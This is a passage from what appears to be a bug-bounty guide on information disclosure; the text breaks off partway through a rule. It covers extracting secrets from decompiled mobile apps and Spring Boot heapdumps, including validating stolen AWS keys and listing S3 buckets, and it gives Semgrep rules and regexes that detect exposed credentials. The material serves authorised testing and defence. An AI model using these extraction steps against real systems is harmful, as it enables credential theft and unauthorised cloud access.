
# Android APK
apktool d target.apk -o /tmp/apk-decoded
strings /tmp/apk-decoded/classes.dex | grep -iE '(api[_-]?key|secret|token|password|bearer)'
grep -rE 'AKIA[0-9A-Z]{16}|AIza[0-9A-Za-z_-]{35}' /tmp/apk-decoded/

# JADX for decompilation (better strings extraction)
jadx -d /tmp/apk-jadx target.apk
grep -rE '(api[_-]?key|secret|token)' /tmp/apk-jadx/sources/

# Inspect res/raw/, assets/, META-INF/ for plaintext config
ls /tmp/apk-decoded/res/raw/
ls /tmp/apk-decoded/assets/

# iOS IPA
ipsw extract --ipa target.ipa
strings /path/to/binary | grep -iE '(api[_-]?key|secret|token|password)'

# MobSF for automated mobile app analysis (https://github.com/MobSF/Mobile-Security-Framework-MobSF)
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf

# Reference: H1 2026 Session Cookie Leakage in WebViewerFragment (mobile WebView)

Sub-technique J — Memory dump analysis (Volkswagen heapdump pattern)

# Once you have a heap dump (Spring Boot /actuator/heapdump or Java jstack/jmap)
# Eclipse Memory Analyzer (MAT) — the standard tool

# Or strings extraction
strings heapdump.bin > heapdump.txt

# Pattern match for common secret formats
grep -E 'AKIA[0-9A-Z]{16}' heapdump.txt    # AWS access key
grep -E 'AIza[0-9A-Za-z_-]{35}' heapdump.txt  # Google API
grep -E 'sk_live_[0-9a-zA-Z]{24,}' heapdump.txt  # Stripe live
grep -E 'ghp_[0-9a-zA-Z]{36}' heapdump.txt    # GitHub PAT
grep -E 'jdbc:[a-z]+://' heapdump.txt          # DB URI
grep -E 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' heapdump.txt  # JWT
grep -E '-----BEGIN [A-Z ]+ KEY-----' heapdump.txt  # PEM keys

# Volkswagen Spring Boot Actuator pattern (Wiz Threat Research, SYSCREST analysis):
# 1. Find /actuator/heapdump exposed
# 2. Download heapdump (often 100MB-2GB)
# 3. Extract AWS keys from strings
# 4. Validate keys: aws sts get-caller-identity
# 5. List S3 buckets: aws s3 ls
# 6. STOP — that's the report. Don't pivot to actually downloading customer data.

# Reference: https://www.syscrest.com/2025/02/securing-spring-boot-actuator/

Source Code Review Patterns

Semgrep rules

rules:
  - id: info-spring-actuator-exposure
    pattern-either:
      - pattern-regex: 'management\.endpoints\.web\.exposure\.include\s*=\s*\*'
      - pattern-regex: 'management\.endpoints\.web\.exposure\.include\s*=\s*[^=]*(?:env|heapdump|gateway|threaddump|beans)'
    message: |
      Spring Boot Actuator endpoint exposure includes high-risk endpoint
      (env, heapdump, gateway, threaddump, beans). CVE-2025-41243 Spring
      Cloud Gateway property modification (CVSS 10.0), CVE-2025-41253
      info disclosure (CVSS 7.5). Restrict via management.endpoints.web.
      exposure.include=health,info only; secure others via Spring Security.
    severity: ERROR
    languages: [yaml, java]
    paths:
      include: ['application*.{yml,yaml,properties}']

rules:
  - id: info-debug-mode-enabled-prod
    pattern-either:
      - pattern-regex: 'DEBUG\s*=\s*True'
      - pattern-regex: 'app\.config\[.DEBUG.\]\s*=\s*True'
      - pattern-regex: 'debug:\s*true'
      - pattern-regex: '"debug":\s*true'
    message: |
      Debug mode enabled. Stack traces, framework version, file paths
      will be exposed in error responses. Set DEBUG=False in production.
      Use environment-specific config (settings.production.py for Django,
      RAILS_ENV=production for Rails, NODE_ENV=production for Express).
    severity: WARNING
    languages: [python, javascript, yaml]

rules:
  - id: info-hardcoded-credentials
    pattern-either:
      - pattern-regex: '(?i)(password|passwd|pwd|secret|api[_-]?key|access[_-]?key|access[_-]?token)\s*[:=]\s*["'][^"']{8,}["']'
      - pattern-regex: 'AKIA[0-9A-Z]{16}'
      - pattern-regex: 'AIza[0-9A-Za-z_-]{35}'
      - pattern-regex: 'sk_live_[0-9a-zA-Z]{24,}'
      - pattern-regex: 'ghp_[0-9a-zA-Z]{36}'
    message: |
      Hardcoded credential detected. CWE-798 Use of Hard-coded Credentials.
      Move to environment variables, secret managers (AWS Secrets Manager,
      HashiCorp Vault, GCP Secret Manager). Reference: GitGuardian 2026
      State of Secrets Sprawl — 28.65M secrets in public repos in 2025.
      Starbucks H1 #716292 paid bounty for single hardcoded JumpCloud key
      (CVSS 9.7).
    severity: ERROR
    languages: [python, javascript, typescript, java, go, ruby, php]

rules:
  - id: info-pprof-handler-exposed
    pattern-either:
      - pattern: 'import _ "net/http/pprof"'
      - pattern: 'http.ListenAndServe(":6060", nil)'
      - pattern-regex: 'pprof\.(?:Index|Cmdline|Profile|Symbol|Trace|Handler)'
    message: |
      Go net/http/pprof exposed. /debug/pprof/cmdline leaks process
      command line including secrets passed via --flag="value".
      Dgraph GHSA-95mq-xwj4-r47p (2026 critical) is canonical example.
      Restrict to internal-only mux or remove import in production builds.
    severity: ERROR
    languages: [go]

rules:
  - id: info-error-handler-leaks-stack
    pattern-either:
      - pattern: |
          app.use(function(err, req, res, next) {
            res.send(err.stack);
          })
   

…(truncated)